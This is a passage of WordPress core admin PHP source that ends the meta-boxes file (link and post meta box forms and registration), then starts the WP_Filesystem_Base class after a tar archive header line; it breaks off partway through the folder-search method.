		<ul id="categorychecklist-pop" class="categorychecklist form-no-clear">
			<?php wp_popular_terms_checklist( 'link_category' ); ?>
		</ul>
	</div>

	<div id="category-adder" class="wp-hidden-children">
		<a id="category-add-toggle" href="#category-add" class="taxonomy-add-new"><?php _e( '+ Add New Category' ); ?></a>
		<p id="link-category-add" class="wp-hidden-child">
			<label class="screen-reader-text" for="newcat">
				<?php
				/* translators: Hidden accessibility text. */
				_e( '+ Add New Category' );
				?>
			</label>
			<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" aria-required="true" />
			<input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e( 'Add' ); ?>" />
			<?php wp_nonce_field( 'add-link-category', '_ajax_nonce', false ); ?>
			<span id="category-ajax-response"></span>
		</p>
	</div>
</div>
	<?php
}

/**
 * Displays form fields for changing link target.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_target_meta_box( $link ) {

	?>
<fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Target' );
	?>
</span></legend>
<p><label for="link_target_blank" class="selectit">
<input id="link_target_blank" type="radio" name="link_target" value="_blank" <?php echo ( isset( $link->link_target ) && ( '_blank' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_blank</code> &mdash; new window or tab.' ); ?></label></p>
<p><label for="link_target_top" class="selectit">
<input id="link_target_top" type="radio" name="link_target" value="_top" <?php echo ( isset( $link->link_target ) && ( '_top' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_top</code> &mdash; current window or tab, with no frames.' ); ?></label></p>
<p><label for="link_target_none" class="selectit">
<input id="link_target_none" type="radio" name="link_target" value="" <?php echo ( isset( $link->link_target ) && ( '' === $link->link_target ) ? 'checked="checked"' : '' ); ?> />
	<?php _e( '<code>_none</code> &mdash; same window or tab.' ); ?></label></p>
</fieldset>
<p><?php _e( 'Choose the target frame for your link.' ); ?></p>
	<?php
}

/**
 * Displays 'checked' checkboxes attribute for XFN microformat options.
 *
 * @since 1.0.1
 *
 * @global object $link Current link object.
 *
 * @param string $xfn_relationship XFN relationship category. Possible values are:
 *                                 'friendship', 'physical', 'professional',
 *                                 'geographical', 'family', 'romantic', 'identity'.
 * @param string $xfn_value        Optional. The XFN value to mark as checked
 *                                 if it matches the current link's relationship.
 *                                 Default empty string.
 * @param mixed  $deprecated       Deprecated. Not used.
 */
function xfn_check( $xfn_relationship, $xfn_value = '', $deprecated = '' ) {
	global $link;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.5.0' ); // Never implemented.
	}

	$link_rel  = isset( $link->link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: '';
	$link_rels = preg_split( '/\s+/', $link_rel );

	// Mark the specified value as checked if it matches the current link's relationship.
	if ( '' !== $xfn_value && in_array( $xfn_value, $link_rels, true ) ) {
		echo ' checked="checked"';
	}

	if ( '' === $xfn_value ) {
		// Mark the 'none' value as checked if the current link does not match the specified relationship.
		if ( 'family' === $xfn_relationship
			&& ! array_intersect( $link_rels, array( 'child', 'parent', 'sibling', 'spouse', 'kin' ) )
		) {
			echo ' checked="checked"';
		}

		if ( 'friendship' === $xfn_relationship
			&& ! array_intersect( $link_rels, array( 'friend', 'acquaintance', 'contact' ) )
		) {
			echo ' checked="checked"';
		}

		if ( 'geographical' === $xfn_relationship
			&& ! array_intersect( $link_rels, array( 'co-resident', 'neighbor' ) )
		) {
			echo ' checked="checked"';
		}

		// Mark the 'me' value as checked if it matches the current link's relationship.
		if ( 'identity' === $xfn_relationship
			&& in_array( 'me', $link_rels, true )
		) {
			echo ' checked="checked"';
		}
	}
}

/**
 * Displays XFN form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_xfn_meta_box( $link ) {
	?>
<table class="links-table">
	<tr>
		<th scope="row"><label for="link_rel"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'rel:' ); ?></label></th>
		<td><input type="text" name="link_rel" id="link_rel" value="<?php echo ( isset( $link->link_rel ) ? esc_attr( $link->link_rel ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'identity' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'identity' );
				?>
			</span></legend>
			<label for="me">
			<input type="checkbox" name="identity" value="me" id="me" <?php xfn_check( 'identity', 'me' ); ?> />
			<?php _e( 'another web address of mine' ); ?></label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'friendship' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'friendship' );
				?>
			</span></legend>
			<label for="contact">
			<input class="valinp" type="radio" name="friendship" value="contact" id="contact" <?php xfn_check( 'friendship', 'contact' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'contact' ); ?>
			</label>
			<label for="acquaintance">
			<input class="valinp" type="radio" name="friendship" value="acquaintance" id="acquaintance" <?php xfn_check( 'friendship', 'acquaintance' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'acquaintance' ); ?>
			</label>
			<label for="friend">
			<input class="valinp" type="radio" name="friendship" value="friend" id="friend" <?php xfn_check( 'friendship', 'friend' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'friend' ); ?>
			</label>
			<label for="friendship">
			<input name="friendship" type="radio" class="valinp" value="" id="friendship" <?php xfn_check( 'friendship' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'physical' ); ?> </th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'physical' );
				?>
			</span></legend>
			<label for="met">
			<input class="valinp" type="checkbox" name="physical" value="met" id="met" <?php xfn_check( 'physical', 'met' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'met' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"> <?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'professional' ); ?> </th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'professional' );
				?>
			</span></legend>
			<label for="co-worker">
			<input class="valinp" type="checkbox" name="professional" value="co-worker" id="co-worker" <?php xfn_check( 'professional', 'co-worker' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'co-worker' ); ?>
			</label>
			<label for="colleague">
			<input class="valinp" type="checkbox" name="professional" value="colleague" id="colleague" <?php xfn_check( 'professional', 'colleague' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'colleague' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'geographical' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'geographical' );
				?>
			</span></legend>
			<label for="co-resident">
			<input class="valinp" type="radio" name="geographical" value="co-resident" id="co-resident" <?php xfn_check( 'geographical', 'co-resident' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'co-resident' ); ?>
			</label>
			<label for="neighbor">
			<input class="valinp" type="radio" name="geographical" value="neighbor" id="neighbor" <?php xfn_check( 'geographical', 'neighbor' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'neighbor' ); ?>
			</label>
			<label for="geographical">
			<input class="valinp" type="radio" name="geographical" value="" id="geographical" <?php xfn_check( 'geographical' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'family' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'family' );
				?>
			</span></legend>
			<label for="child">
			<input class="valinp" type="radio" name="family" value="child" id="child" <?php xfn_check( 'family', 'child' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'child' ); ?>
			</label>
			<label for="kin">
			<input class="valinp" type="radio" name="family" value="kin" id="kin" <?php xfn_check( 'family', 'kin' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'kin' ); ?>
			</label>
			<label for="parent">
			<input class="valinp" type="radio" name="family" value="parent" id="parent" <?php xfn_check( 'family', 'parent' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'parent' ); ?>
			</label>
			<label for="sibling">
			<input class="valinp" type="radio" name="family" value="sibling" id="sibling" <?php xfn_check( 'family', 'sibling' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'sibling' ); ?>
			</label>
			<label for="spouse">
			<input class="valinp" type="radio" name="family" value="spouse" id="spouse" <?php xfn_check( 'family', 'spouse' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'spouse' ); ?>
			</label>
			<label for="family">
			<input class="valinp" type="radio" name="family" value="" id="family" <?php xfn_check( 'family' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'none' ); ?>
			</label>
		</fieldset></td>
	</tr>
	<tr>
		<th scope="row"><?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'romantic' ); ?></th>
		<td><fieldset>
			<legend class="screen-reader-text"><span>
				<?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( 'romantic' );
				?>
			</span></legend>
			<label for="muse">
			<input class="valinp" type="checkbox" name="romantic" value="muse" id="muse" <?php xfn_check( 'romantic', 'muse' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'muse' ); ?>
			</label>
			<label for="crush">
			<input class="valinp" type="checkbox" name="romantic" value="crush" id="crush" <?php xfn_check( 'romantic', 'crush' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'crush' ); ?>
			</label>
			<label for="date">
			<input class="valinp" type="checkbox" name="romantic" value="date" id="date" <?php xfn_check( 'romantic', 'date' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'date' ); ?>
			</label>
			<label for="romantic">
			<input class="valinp" type="checkbox" name="romantic" value="sweetheart" id="romantic" <?php xfn_check( 'romantic', 'sweetheart' ); ?> />&nbsp;<?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( 'sweetheart' ); ?>
			</label>
		</fieldset></td>
	</tr>

</table>
<p><?php _e( 'If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href="https://gmpg.org/xfn/">XFN</a>.' ); ?></p>
	<?php
}

/**
 * Displays advanced link options form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_advanced_meta_box( $link ) {
	?>
<table class="links-table" cellpadding="0">
	<tr>
		<th scope="row"><label for="link_image"><?php _e( 'Image Address' ); ?></label></th>
		<td><input type="text" name="link_image" class="code" id="link_image" maxlength="255" value="<?php echo ( isset( $link->link_image ) ? esc_attr( $link->link_image ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><label for="rss_uri"><?php _e( 'RSS Address' ); ?></label></th>
		<td><input name="link_rss" class="code" type="text" id="rss_uri" maxlength="255" value="<?php echo ( isset( $link->link_rss ) ? esc_attr( $link->link_rss ) : '' ); ?>" /></td>
	</tr>
	<tr>
		<th scope="row"><label for="link_notes"><?php _e( 'Notes' ); ?></label></th>
		<td><textarea name="link_notes" id="link_notes" rows="10"><?php echo ( isset( $link->link_notes ) ? $link->link_notes : '' ); // textarea_escaped ?></textarea></td>
	</tr>
	<tr>
		<th scope="row"><label for="link_rating"><?php _e( 'Rating' ); ?></label></th>
		<td><select name="link_rating" id="link_rating" size="1">
		<?php
		for ( $rating = 0; $rating <= 10; $rating++ ) {
			echo '<option value="' . $rating . '"';
			if ( isset( $link->link_rating ) && $link->link_rating === $rating ) {
				echo ' selected="selected"';
			}
			echo '>' . $rating . '</option>';
		}
		?>
		</select>&nbsp;<?php _e( '(Leave at 0 for no rating.)' ); ?>
		</td>
	</tr>
</table>
	<?php
}

/**
 * Displays post thumbnail meta box.
 *
 * @since 2.9.0
 *
 * @param WP_Post $post Current post object.
 */
function post_thumbnail_meta_box( $post ) {
	$thumbnail_id = get_post_meta( $post->ID, '_thumbnail_id', true );
	echo _wp_post_thumbnail_html( $thumbnail_id, $post->ID );
}

/**
 * Displays fields for ID3 data.
 *
 * @since 3.9.0
 *
 * @param WP_Post $post Current post object.
 */
function attachment_id3_data_meta_box( $post ) {
	$meta = array();
	if ( ! empty( $post->ID ) ) {
		$meta = wp_get_attachment_metadata( $post->ID );
	}

	foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) :
		$value = '';
		if ( ! empty( $meta[ $key ] ) ) {
			$value = $meta[ $key ];
		}
		?>
	<p>
		<label for="title"><?php echo $label; ?></label><br />
		<input type="text" name="id3_<?php echo esc_attr( $key ); ?>" id="id3_<?php echo esc_attr( $key ); ?>" class="large-text" value="<?php echo esc_attr( $value ); ?>" />
	</p>
		<?php
	endforeach;
}

/**
 * Registers the default post meta boxes, and runs the `do_meta_boxes` actions.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post The post object that these meta boxes are being generated for.
 */
function register_and_do_post_meta_boxes( $post ) {
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );

	$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
	if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
		if ( wp_attachment_is( 'audio', $post ) ) {
			$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
		} elseif ( wp_attachment_is( 'video', $post ) ) {
			$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
		}
	}

	$publish_callback_args = array( '__back_compat_meta_box' => true );

	if ( post_type_supports( $post_type, 'revisions' ) && 'auto-draft' !== $post->post_status ) {
		$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );

		// We should aim to show the revisions meta box only when there are revisions.
		if ( ! is_wp_error( $revisions ) && $revisions['count'] > 1 ) {
			$publish_callback_args = array(
				'revisions_count'        => $revisions['count'],
				'revision_id'            => $revisions['latest_id'],
				'__back_compat_meta_box' => true,
			);

			add_meta_box( 'revisionsdiv', __( 'Revisions' ), 'post_revisions_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	}

	if ( 'attachment' === $post_type ) {
		wp_enqueue_script( 'image-edit' );
		wp_enqueue_style( 'imgareaselect' );
		add_meta_box( 'submitdiv', __( 'Save' ), 'attachment_submit_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
		add_action( 'edit_form_after_title', 'edit_form_image_editor' );

		if ( wp_attachment_is( 'audio', $post ) ) {
			add_meta_box( 'attachment-id3', __( 'Metadata' ), 'attachment_id3_data_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	} else {
		add_meta_box( 'submitdiv', __( 'Publish' ), 'post_submit_meta_box', null, 'side', 'core', $publish_callback_args );
	}

	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post_type, 'post-formats' ) ) {
		add_meta_box( 'formatdiv', _x( 'Format', 'post format' ), 'post_format_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
	}

	// All taxonomies.
	foreach ( get_object_taxonomies( $post ) as $tax_name ) {
		$taxonomy = get_taxonomy( $tax_name );
		if ( ! $taxonomy->show_ui || false === $taxonomy->meta_box_cb ) {
			continue;
		}

		$label = $taxonomy->labels->name;

		if ( ! is_taxonomy_hierarchical( $tax_name ) ) {
			$tax_meta_box_id = 'tagsdiv-' . $tax_name;
		} else {
			$tax_meta_box_id = $tax_name . 'div';
		}

		add_meta_box(
			$tax_meta_box_id,
			$label,
			$taxonomy->meta_box_cb,
			null,
			'side',
			'core',
			array(
				'taxonomy'               => $tax_name,
				'__back_compat_meta_box' => true,
			)
		);
	}

	if ( post_type_supports( $post_type, 'page-attributes' ) || count( get_page_templates( $post ) ) > 0 ) {
		add_meta_box( 'pageparentdiv', $post_type_object->labels->attributes, 'page_attributes_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( $thumbnail_support && current_user_can( 'upload_files' ) ) {
		add_meta_box( 'postimagediv', esc_html( $post_type_object->labels->featured_image ), 'post_thumbnail_meta_box', null, 'side', 'low', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'excerpt' ) ) {
		add_meta_box( 'postexcerpt', __( 'Excerpt' ), 'post_excerpt_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'trackbacks' ) ) {
		add_meta_box( 'trackbacksdiv', __( 'Send Trackbacks' ), 'post_trackback_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'custom-fields' ) ) {
		add_meta_box(
			'postcustom',
			__( 'Custom Fields' ),
			'post_custom_meta_box',
			null,
			'normal',
			'core',
			array(
				'__back_compat_meta_box'             => ! (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ),
				'__block_editor_compatible_meta_box' => true,
			)
		);
	}

	/**
	 * Fires in the middle of built-in meta box registration.
	 *
	 * @since 2.1.0
	 * @deprecated 3.7.0 Use {@see 'add_meta_boxes'} instead.
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action_deprecated( 'dbx_post_advanced', array( $post ), '3.7.0', 'add_meta_boxes' );

	/*
	 * Allow the Discussion meta box to show up if the post type supports comments,
	 * or if comments or pings are open.
	 */
	if ( comments_open( $post ) || pings_open( $post ) || post_type_supports( $post_type, 'comments' ) ) {
		add_meta_box( 'commentstatusdiv', __( 'Discussion' ), 'post_comment_status_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	$stati = get_post_stati( array( 'public' => true ) );
	if ( empty( $stati ) ) {
		$stati = array( 'publish' );
	}
	$stati[] = 'private';

	if ( in_array( get_post_status( $post ), $stati, true ) ) {
		/*
		 * If the post type support comments, or the post has comments,
		 * allow the Comments meta box.
		 */
		if ( comments_open( $post ) || pings_open( $post ) || $post->comment_count > 0 || post_type_supports( $post_type, 'comments' ) ) {
			add_meta_box( 'commentsdiv', __( 'Comments' ), 'post_comment_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
		}
	}

	if ( ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) ) ) {
		add_meta_box( 'slugdiv', __( 'Slug' ), 'post_slug_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	if ( post_type_supports( $post_type, 'author' ) && current_user_can( $post_type_object->cap->edit_others_posts ) ) {
		add_meta_box( 'authordiv', __( 'Author' ), 'post_author_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
	}

	/**
	 * Fires after all built-in meta boxes have been added.
	 *
	 * @since 3.0.0
	 *
	 * @param string  $post_type Post type.
	 * @param WP_Post $post      Post object.
	 */
	do_action( 'add_meta_boxes', $post_type, $post );

	/**
	 * Fires after all built-in meta boxes have been added, contextually for the given post type.
	 *
	 * The dynamic portion of the hook name, `$post_type`, refers to the post type of the post.
	 *
	 * Possible hook names include:
	 *
	 *  - `add_meta_boxes_post`
	 *  - `add_meta_boxes_page`
	 *  - `add_meta_boxes_attachment`
	 *
	 * @since 3.0.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( "add_meta_boxes_{$post_type}", $post );

	/**
	 * Fires after meta boxes have been added.
	 *
	 * Fires once for each of the default meta box contexts: normal, advanced, and side.
	 *
	 * @since 3.0.0
	 *
	 * @param string                $post_type Post type of the post on Edit Post screen, 'link' on Edit Link screen,
	 *                                         'dashboard' on Dashboard screen.
	 * @param string                $context   Meta box context. Possible values include 'normal', 'advanced', 'side'.
	 * @param WP_Post|object|string $post      Post object on Edit Post screen, link object on Edit Link screen,
	 *                                         an empty string on Dashboard screen.
	 */
	do_action( 'do_meta_boxes', $post_type, 'normal', $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $post_type, 'advanced', $post );
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $post_type, 'side', $post );
}
class-wp-filesystem-base.php000064400000057532150275632050012121 0ustar00<?php
/**
 * Base WordPress Filesystem
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * Base WordPress Filesystem class which Filesystem implementations extend.
 *
 * @since 2.5.0
 */
#[AllowDynamicProperties]
class WP_Filesystem_Base {

	/**
	 * Whether to display debug data for the connection.
	 *
	 * @since 2.5.0
	 * @var bool
	 */
	public $verbose = false;

	/**
	 * Cached list of local filepaths to mapped remote filepaths.
	 *
	 * @since 2.7.0
	 * @var array
	 */
	public $cache = array();

	/**
	 * The Access method of the current connection, Set automatically.
	 *
	 * @since 2.5.0
	 * @var string
	 */
	public $method = '';

	/**
	 * @var WP_Error
	 */
	public $errors = null;

	/**
	 */
	public $options = array();

	/**
	 * Returns the path on the remote filesystem of ABSPATH.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function abspath() {
		$folder = $this->find_folder( ABSPATH );

		/*
		 * Perhaps the FTP folder is rooted at the WordPress install.
		 * Check for wp-includes folder in root. Could have some false positives, but rare.
		 */
		if ( ! $folder && $this->is_dir( '/' . WPINC ) ) {
			$folder = '/';
		}

		return $folder;
	}

	/**
	 * Returns the path on the remote filesystem of WP_CONTENT_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_content_dir() {
		return $this->find_folder( WP_CONTENT_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of WP_PLUGIN_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_plugins_dir() {
		return $this->find_folder( WP_PLUGIN_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of the Themes Directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string|false $theme Optional. The theme stylesheet or template for the directory.
	 *                            Default false.
	 * @return string The location of the remote path.
	 */
	public function wp_themes_dir( $theme = false ) {
		$theme_root = get_theme_root( $theme );

		// Account for relative theme roots.
		if ( '/themes' === $theme_root || ! is_dir( $theme_root ) ) {
			$theme_root = WP_CONTENT_DIR . $theme_root;
		}

		return $this->find_folder( $theme_root );
	}

	/**
	 * Returns the path on the remote filesystem of WP_LANG_DIR.
	 *
	 * @since 3.2.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_lang_dir() {
		return $this->find_folder( WP_LANG_DIR );
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function find_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() methods instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function get_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Assumes that on Windows systems, Stripping off the Drive
	 * letter is OK Sanitizes \\ to / in Windows filepaths.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder the folder to locate.
	 * @return string|false The location of the remote path, false on failure.
	 */
	public function find_folder( $folder ) {
		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( stripos( $this->method, 'ftp' ) !== false ) {
			$constant_overrides = array(
				'FTP_BASE'        => ABSPATH,
				'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
				'FTP_PLUGIN_DIR'  => WP_PLUGIN_DIR,
				'FTP_LANG_DIR'    => WP_LANG_DIR,
			);

			// Direct matches ( folder = CONSTANT/ ).
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( $folder === $dir ) {
					return trailingslashit( constant( $constant ) );
				}
			}

			// Prefix matches ( folder = CONSTANT/subdir ),
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir.
					$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
					$potential_folder = trailingslashit( $potential_folder );

					if ( $this->is_dir( $potential_folder ) ) {
						$this->cache[ $folder ] = $potential_folder;

						return $potential_folder;
					}
				}
			}
		} elseif ( 'direct' === $this->method ) {
			$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

			return trailingslashit( $folder );
		}

		$folder = preg_replace( '|^([a-z]{1}):|i', '', $folder ); // Strip out Windows drive letter if it's there.
		$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( $this->exists( $folder ) ) { // Folder exists at that absolute path.
			$folder                 = trailingslashit( $folder );
			$this->cache[ $folder ] = $folder;

			return $folder;
		}

		$return = $this->search_for_folder( $folder );

		if ( $return ) {
			$this->cache[ $folder ] = $return;
		}

		return $return;
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Expects Windows sanitized path.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder The folder to locate.
	 * @param string $base   The folder to start searching from.
	 * @param bool   $loop   If the function has recursed. Internal use only.
	 * @return string|false The location of the remote path, false to cease looping.
	 */
	public function search_for_folder( $folder, $base = '.', $loop = false ) {
		if ( empty( $base ) || '.' === $base ) {
			$base = trailingslashit( $this->cwd() );
		}

		$folder = untrailingslashit( $folder );

		if ( $this->verbose ) {
			/* translators: 1: Folder to locate, 2: Folder to start searching from. */
			printf( "\n" . __( 'Looking for %1$s in %2$s' ) . "<br />\n", $folder, $base );
		}

		$folder_parts     = explode( '/', $folder );
		$folder_part_keys = array_keys( $folder_parts );
		$last_index       = array_pop( $folder_part_keys );
		$last_path        = $folder_parts[ $last_index ];

		$files = $this->dirlist( $base );

		foreach ( $folder_parts as $index => $key ) {
			if ( $index === $last_index ) {
				continue; // We want this to be caught by the next code block.
			}

			/*
			 * Working from /home/ to /user/ to /wordpress/ see if that file exists within
			 * the current folder, If it's found, change into it and follow through looking
			 * for it. If it can't find WordPress down that route, it'll continue onto the next
			 * folder level, and see if that matches, and so on. If it reaches the end, and still
			 * can't find it, it'll return false for the entire function.
			 */
			if ( isset( $files[ $key ] ) ) {

				// Let's try that folder:
				$newdir = trailingslashit( path_join( $base, $key ) );

				if ( $this->verbose ) {
					/* translators: %s: Directory name. */
					printf( "\n" . __( 'Changing to %s' ) . "<br />\n", $newdir );
				}

				// Only search for the remaining path tokens in the directory, not the full path again.
				$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
				$ret       = $this->search_for_folder( $newfolder, $newdir, $loop );

				if ( $ret ) {
					return $ret;
				}
			}
		}

		/*
		 * Only check this as a last resort, to prevent locating the incorrect install.
		 * All above procedures will fail quickly if this is the right branch to take.
		 */
		if ( isset( $files[ $last_path ] ) ) {
			if ( $this->verbose ) {
				/* translators: %s: Directory name. */
				printf( "\n" . __( 'Found %s' ) . "<br />\n", $base . $last_path );
			}
